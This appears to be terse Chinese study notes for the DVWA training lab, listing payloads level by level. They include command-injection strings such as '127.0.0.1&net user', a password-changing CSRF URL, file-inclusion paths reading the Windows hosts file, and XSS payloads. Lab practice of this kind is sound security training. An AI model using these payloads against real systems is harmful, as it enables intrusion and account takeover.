爆破

1. 初级中级正常爆破
2. 高级

命令注入

1. 在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”，修改”charset=gb2312”，即可
2. 127.0.0.1&net user
3. 127.0.0.1&systeminfo
4. 高级127.0.0.1|systeminfo

csrf

1. http://192.168.21.132/abc/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
2. DVWA之CSRF漏洞（详细）_以菜之名的博客-CSDN博客_csrf dvwa

文件包含

1. php.ini开启allow_url_include
2. ?page=C:\WINDOWS\system32\drivers\etc\hosts
3. ?page=C:\\WINDOWS\\system32\\drivers\\etc\\hosts
4. ?page=file://C:\\WINDOWS\\system32\\drivers\\etc\\hosts

文件上传

1. 初级中级正常过
2. 高级文件包含，对文件后缀做了白名单

不安全的验证码

sql注入

1. 正常注get
2. post 过滤\x00  \n  \r  \ '  "  \x1a
3. 和low一样

xss反射

1. '<script>alert(1)</script>
2. <svg onload=prompt(1)>
3. 同上

xss存储型

1. 抓包，用户名<svg onload=prompt(1)>即可